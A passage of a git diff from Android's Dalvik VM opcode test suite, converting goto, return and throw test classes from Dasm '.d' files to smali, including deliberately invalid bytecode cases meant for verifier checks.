-      goto Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali
new file mode 100644
index 0000000..40c1036
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_2.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label2
+:Label2
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.d
deleted file mode 100644
index 8edcca6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_3.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto Label2
-Label2:
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali
new file mode 100644
index 0000000..84fa4e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_3.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label2
+:Label2
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.d
deleted file mode 100644
index 6c29f65..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_goto_4.java
-.class public dot.junit.opcodes.opc_goto.d.T_opc_goto_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-      goto Label1
-Label1:      
-      return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali
new file mode 100644
index 0000000..394c2c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_goto/d/T_opc_goto_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_goto_4.java"
+.class  public Ldot/junit/opcodes/opc_goto/d/T_opc_goto_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+      goto :Label1
+:Label1
+      return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.d
deleted file mode 100644
index 29ae5bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_1.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 10
-    
-    const v1, 1
-    const v2, 2
-    const v3, 3
-    
-    const v4, 0xdddd
-        
-    invoke-static {}, dot/junit/opcodes/opc_return/d/T_opc_return_1/test()I
-    move-result v6
-    
-    if-ne v4, v6, Label0
-
-    const v4, 1    
-    if-ne v1, v4, Label0
-    
-    const v4, 2    
-    if-ne v2, v4, Label0
-
-    const v4, 3
-    if-ne v3, v4, Label0
-    
-    const v0, 123456
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method private static test()I
-.limit regs 6
-    
-    const v0, 9999
-    const v1, 0xaaa
-    const v2, 0xbbbb
-    const v3, 0xcccc
-    
-    const v4, 0xdddd
-    return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali
new file mode 100644
index 0000000..41b3704
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_1.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_1.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 10
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+    
+    const v4, 0xdddd
+        
+    invoke-static {}, Ldot/junit/opcodes/opc_return/d/T_opc_return_1;->test()I
+    move-result v6
+    
+    if-ne v4, v6, :Label0
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()I
+.registers 6
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    
+    const v4, 0xdddd
+    return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.d
deleted file mode 100644
index 1ab9dc1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_3.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private declared_synchronized test()F
-.limit regs 4
-
-    new-instance v2, java/lang/Object
-    invoke-direct {v2}, java/lang/Object/<init>()V
-    monitor-enter v2
-    monitor-exit v3
-    const v0, 1.0
-    return v0
-.end method
-
-
-
-.method public run()Z
-.limit regs 1
-
-    invoke-direct {v0}, dot/junit/opcodes/opc_return/d/T_opc_return_3/test()F
-
-    const v0, 1
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.smali
new file mode 100644
index 0000000..cdef65f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_3.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/opc_return/d/T_opc_return_3;
+.super Ljava/lang/Object;
+.source "T_opc_return_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()F
+    .registers 4
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    const v0, 0x3f800000    # 1.0f
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/opc_return/d/T_opc_return_3;->test()F
+
+    const p0, 0x1
+
+    return p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.d
deleted file mode 100644
index 884ce2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_5.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    const v0, 1
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali
new file mode 100644
index 0000000..12d48c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_5.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 6
+    
+    const v0, 1
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.d
deleted file mode 100644
index c19f760..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_6.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 6
-    
-    const v0, 1
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali
new file mode 100644
index 0000000..c87f117
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_6.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    const v0, 1
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.d
deleted file mode 100644
index cec1f9c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_7.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali
new file mode 100644
index 0000000..98e6b28
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_7.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.d
deleted file mode 100644
index 1ca6832..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_return_8.java
-.class public dot.junit.opcodes.opc_return.d.T_opc_return_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    const-wide v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali
new file mode 100644
index 0000000..1b784bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_return/d/T_opc_return_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_return_8.java"
+.class  public Ldot/junit/opcodes/opc_return/d/T_opc_return_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const-wide v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.d
deleted file mode 100644
index 90a4a03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_1.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       new-instance v1, java/lang/RuntimeException
-       invoke-direct {v1}, java/lang/RuntimeException/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali
new file mode 100644
index 0000000..6e3fddf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_1.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       new-instance v1, Ljava/lang/RuntimeException;
+       invoke-direct {v1}, Ljava/lang/RuntimeException;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.d
deleted file mode 100644
index c3194bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_10.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       new-instance v1, java/lang/String
-       invoke-direct {v1}, java/lang/String/<init>()V
-       throw v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali
new file mode 100644
index 0000000..5cc6c79
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_opc_throw_10.java"
+.class  public Ldot/junit/opcodes/opc_throw/d/T_opc_throw_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       new-instance v1, Ljava/lang/String;
+       invoke-direct {v1}, Ljava/lang/String;-><init>()V
+       throw v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.d
deleted file mode 100644
index 67366f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_opc_throw_12.java
-.class public dot.junit.opcodes.opc_throw.d.T_opc_throw_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 2
-
-Label0:
-    invoke-direct {v1}, dot/junit/opcodes/opc_throw/d/T_opc_throw_12/test()Z
-    move-result v0
-    return v0
-Label1:
-    const v0, 0
-    return v0
-
-.catch java/lang/RuntimeException from Label0 to Label1 using Label1
-.end method
-
-
-.method private test()Z
-.limit regs 2
-Label0:
-    new-instance v0, java/lang/RuntimeException
-    invoke-direct {v0}, java/lang/RuntimeException/<init>()V
-    throw  v0
-Label1:
-    const v1, 1
-    return v1
-
-.catch java/lang/RuntimeException from Label0 to Label1 using Label1
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.smali
new file mode 100644
index 0000000..d92dfa1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/opc_throw/d/T_opc_throw_12.smali
@@ -0,0 +1,65 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
